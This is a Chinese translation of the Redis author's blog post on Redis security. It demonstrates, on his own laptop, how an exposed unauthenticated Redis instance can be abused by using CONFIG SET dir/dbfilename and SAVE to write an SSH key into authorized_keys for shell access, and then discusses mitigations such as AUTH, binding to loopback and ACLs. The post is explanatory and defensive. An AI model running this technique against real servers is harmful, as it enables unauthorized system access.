A few things about Redis security

Salvatore Sanfilippo

关于 Redis 安全的几点思考

原文由 Salvatore Sanfilippo 发布,订阅该博客

重要更新:Redis 3.2 通过实现保护模式提升了安全性。详情请见:https://www.reddit.com/r/redis/comments/3zv85m/new_security_feature_redis_protected_mode/

我时不时会收到关于 Redis 的安全报告。能收到报告是好事,但奇怪的是,我收到的通常都是诸如 Lua 沙箱逃逸、不安全的临时文件创建之类的问题,而 Redis 本身——正如我们在安全页面(http://redis.io/topics/security)中所说明的那样——设计上就是一旦暴露给外部世界就完全不安全的软件。

不过这些漏洞报告往往还是有用的,因为对任何软件而言,广义上对 Redis 也是如此,安全本身是有不同层级的。拿到数据库访问权限后,你能做的究竟只是修改数据库本身的内容,还是能攻陷运行 Redis 的本地系统?

系统中某一安全层的重要性取决于其安全模型。系统是否被设计为允许不可信用户访问,比如像 Web 服务器那样?是否针对不同类型的用户设置了不同的授权级别?

Redis 的安全模型是:“让不可信客户端访问系统是完全不安全的,请自行将其与外部世界隔离保护”。原因是,基本上 99.99% 的 Redis 使用场景都在沙盒环境内部。安全本身很复杂,增加安全功能会带来复杂性。为了 0.01% 的使用场景而增加复杂性并不划算,但这属于设计哲学问题,你当然可以持不同意见。

问题在于,无论我们在安全页面上如何声明,仍有大量 Redis 实例被无意中暴露到了公网上。这并不是因为使用场景需要让外部客户端访问 Redis,而是因为根本没人去做防护——比如通过防火墙隔离、启用 AUTH、如果只有本地客户端访问就绑定到 127.0.0.1,等等。

来破解一下 Redis 纯属好玩,反正这东西就是我写的,也捞不到什么好处

为了用一种残酷的方式展示 Redis 的“安全模型”,我做了一个 5 分钟的快速实验。在我们的安全页面里,我们暗示了 Redis 一旦被暴露会有严重问题。你可以看到这样一段话:“然而,通过 CONFIG 命令控制服务器配置的能力,使得客户端能够修改程序的工作目录和转储文件的名称。这使得客户端可以在任意路径写入 RDB 文件,这是一个安全问题,很容易导致能够以与 Redis 相同的用户身份执行不可信代码”。

所以我的实验是这样的:在我的 MacBook Air 上运行一个 Redis 实例,完全不改动电脑的现有配置。然后从另一台主机上,我的目标是攻陷我的笔记本。

那么,首先来检查一下我能否访问这个实例,这是前提条件:

$ telnet 192.168.1.11 6379
Trying 192.168.1.11...
Connected to 192.168.1.11.
Escape character is '^]'.
echo "Hey no AUTH required!"
$21
Hey no AUTH required!
quit
+OK
Connection closed by foreign host.

可以连上,而且不需要 AUTH。在没有设置密码的情况下,Redis 就是毫无防护的,诸如此类。在这种情况下,你能做的最简单的事就是随意写入文件。猜猜怎么着?我的 MacBook Air 恰好运行着 SSH 服务。要不要试试往 ~/ssh/authorized_keys 里写点东西来获取访问权限?

先来生成一个新的 SSH 密钥:

$ ssh-keygen -t rsa -C "[email protected]"
Generating public/private rsa key pair.
Enter file in which to save the key (/home/antirez/.ssh/id_rsa): ./id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./id_rsa.
Your public key has been saved in ./id_rsa.pub.
The key fingerprint is:
f0:a1:52:e9:0d:5f:e4:d9:35:33:73:43:b4:c8:b9:27 [email protected]
The key's randomart image is:
+--[ RSA 2048]----+
|          .   O+.|
|       . o o..o*o|
|      = . + .+ . |
|     o B o    .  |
|    . o S    E . |
|     .        o  |
|                 |
|                 |
|                 |
+-----------------+

现在我有了一个密钥。我的目标是把它放到 Redis 服务器的内存中,之后再转存到文件里,并且要让最终生成的 authorized_keys 文件仍然有效。用 RDB 格式来做这件事有个问题,输出会是二进制的,理论上还可能压缩字符串。不过,也许这不是问题。首先,给我生成的公钥内容前后都加上换行符做填充:

$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt

现在 foo.txt 就是我们的公钥,只是前后加了换行。我们可以用 redis-cli 把这个字符串写入 Redis 内存:

~~~~~~~~~~~~~~~~~~~
注意:以下步骤已做了细微改动,以防止脚本小子直接复制粘贴发动攻击,因为自从该攻击方法公布后,全球已有多个 Redis 实例遭到入侵。
~~~~~~~~~~~~~~~~~~~

$ redis-cli -h 192.168.1.11
192.168.1.11:6379> config set dbfilename "backup.rdb"
OK
192.168.1.11:6379> save
OK
(Ctrl+C)

$ redis-cli -h 192.168.1.11 echo flushall
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit

看起来不错。怎么把内存中的内容转储到 authorized_keys 文件里?这相当简单。

$ redis-cli -h 192.168.1.11
192.168.1.11:6379> config set dir /Users/antirez/.ssh/
OK
192.168.1.11:6379> config get dir
1) "dir"
2) "/Users/antirez/.ssh"
192.168.1.11:6379> config set dbfilename "authorized.keys"
OK
192.168.1.11:6379> save
OK

到这一步,目标的 authorized_keys 文件应该充满了垃圾数据,但也应该包含了我们的公钥。这个字符串没有简单的规律,所以不太可能在 RDB 文件中被压缩。SSH 会不会天真到毫无障碍地解析一个完全损坏的文件,并接受其中唯一一条正常的记录呢?

$ ssh -i id_rsa [email protected]
Enter passphrase for key 'id_rsa':
Last login: Mon Nov  2 15:58:43 2015 from 192.168.1.10
~ ➤ hostname
Salvatores-MacBook-Air.local

会的。我在大概五秒内就以 Redis 用户的身份成功获得了访问权限,得到了一个正常的 shell。这要归功于一个未受保护的 Redis 实例本质上就是一个“按需写入任意文件”的服务器,而在这个例子中,SSH 又不够保守,没有拒绝一个除了唯一一条有效记录外其余全是损坏密钥的文件。不过问题不在 SSH,一旦你能写入文件,哪怕里面混杂着二进制垃圾,迟早也能以这样或那样的方式拿到系统权限。

怎么修复这堆烂摊子?

我们说 Redis 一旦暴露就是不安全的,Redis 的安全模型是只允许受信任的授权客户端访问。但遗憾的是,这还远远不够。用户仍然会以未受保护的方式运行它,更糟的是,在“让 Redis 更能抵御部署错误”和“让 Redis 对仅在开发环境或安全环境中使用、无需限制的人保持易用”之间,存在着矛盾。

举个例子。新版 Redis 自带的示例 redis.conf 默认配置为“bind 127.0.0.1”。如果你不带参数直接运行服务器,它仍然会绑定所有网卡,因为我不想去打扰那些很可能只是用 Redis 做开发的用户。为了让那些不在乎安全的人获得一点点安全性,就要求他们为了允许其他主机连接而去重新配置一个示例服务器,这代价有点太大了。不过,许多用户用作配置模板的示例 redis.conf,默认是绑定本地回环接口的。希望这样能减少一些部署错误。

然而这些措施效果并不大,因为遗憾的是,大多数缺乏安全意识的用户在发现绑定 127.0.0.1 导致外部客户端无法连接后,所做的就是直接删掉 bind 这一行然后重启。这样又回到了不安全的配置。

基本上,问题在于要在以下三件事之间找到折中:

  1. 让懂行的人能毫无障碍地使用 Redis。
  2. 让不懂行的人的 Redis 不那么不安全。
  3. 我个人更偏向“1”而非“2”,因为 RTFM(去看手册)。

用用户 ACL 来缓解问题

为 Redis 与外部世界“隔离”的概念增加冗余的一种方式是使用 AUTH 命令。这很简单,你配置 Redis 要求密码,客户端通过 AUTH 命令使用配置好的密码进行认证。机制非常简单:密码不做哈希,以明文形式写在配置文件和应用程序中,所以它就像一个共享密钥。

虽然这无法抵御嗅探你的 TCP 连接或攻陷你的应用服务器的人,但对于把未受保护的 Redis 实例暴露在公网上这种明显错误,它是一道有效的安全防线。

关于 AUTH,有几点说明:

  1. 你可以把 Redis 当作一个预言机来每秒尝试大量密码,但密码并不需要靠人脑记忆,只需保存在 Redis 配置文件和客户端配置中,所以请选一个足够长的密码,让它无法被暴力破解。
  2. AUTH 在连接创建时发送,而大多数正常的应用都会使用持久连接,所以为此付出的代价非常小。它本身也是一个执行速度极快的命令,就像 GET 或 SET 一样,不会触及磁盘或其他外部系统。
  3. 即使在隔离良好的环境中,它也是一层很好的保护。万一出错,实例可能会被暴露——即便不是暴露到公网,至少也可能暴露给本不该与之通信的客户端。

也许改进 AUTH 是获得更高安全性的正确路径,所以不久前我发布了一个在 Redis 中添加“真实用户”的提案:https://github.com/redis/redis-rcp/blob/master/RCP1.md

这个提案基本上是增加了带 ACL 的用户。它在工作方式和执行速度上与 AUTH 非常相似,但不同用户拥有不同的权限。例如,普通用户默认无法访问管理命令,所以他们不能执行“CONFIG SET dir”之类的操作,也就不会出现上面那样的漏洞利用问题。

默认用户仍然可以运行常规命令(所以大家发给我、我也已应用的那些关于 Lua 沙箱的补丁确实非常有用),而必须配置一个管理员用户才能使用管理命令。不过,为了让 Redis 更友好,我们可以始终保留一个密码为空的“admin”用户,只要连接来自本地回环接口就接受它(但应该可以禁用这个特性)。

ACL 虽然不完美,但有其优势。当 Redis 以正确的方式暴露到公网、通过 SSL 代理时,多一层访问控制非常有用。即使没有使用 SSL、只有本地客户端,对客户端能做什么进行更细粒度的控制也有诸多好处。例如,它可以防范编程或管理上的错误:可以禁止普通用户执行 FLUSHALL 和 FLUSHDB,用于 Redis 监控服务的客户端可以使用一个仅允许少数特定命令的用户,等等。

那些不在乎保护实例的用户,仍然会拥有一个可从外部访问的数据库,但无法使用管理命令,这从数据库内数据的角度看依然不安全,但从运行 Redis 实例的系统的角度看则要安全得多。

基本上,既想让 Redis 默认对用户友好,又想让它能抵御用户将实例绑定到公网 IP 这种重大安全失误,这两个目标是不可能同时实现的。然而,修复 API 中可能导致以 Redis 进程相同权限执行不可信代码的漏洞、提供更保守的默认配置,以及实现带 ACL 的多用户,能够在不大影响那些知道自己在做什么的普通 Redis 用户体验的前提下,改善 Redis 当前的安全状况。

此外,ACL 还有一个好处是能让应用开发者根据应用逻辑,创建与特定客户端实际权限范围相匹配的用户,从而让错误不那么容易酿成大问题。

即使是这样一层简单的安全机制也有缺点,那就是它会增加复杂性,尤其是在复制、Redis Sentinel 以及其他所有必须具备认证感知能力才能在此新环境下良好协作的系统中。不过,这恐怕是一项必须逐步完成的工作。

Hacker News: https://news.ycombinator.com/item?id=10537852

Reddit: https://www.reddit.com/r/redis/comments/3rby8c/a_few_things_about_redis_security/

本文章由 muse-spark-1.2-contributor 进行翻译

评论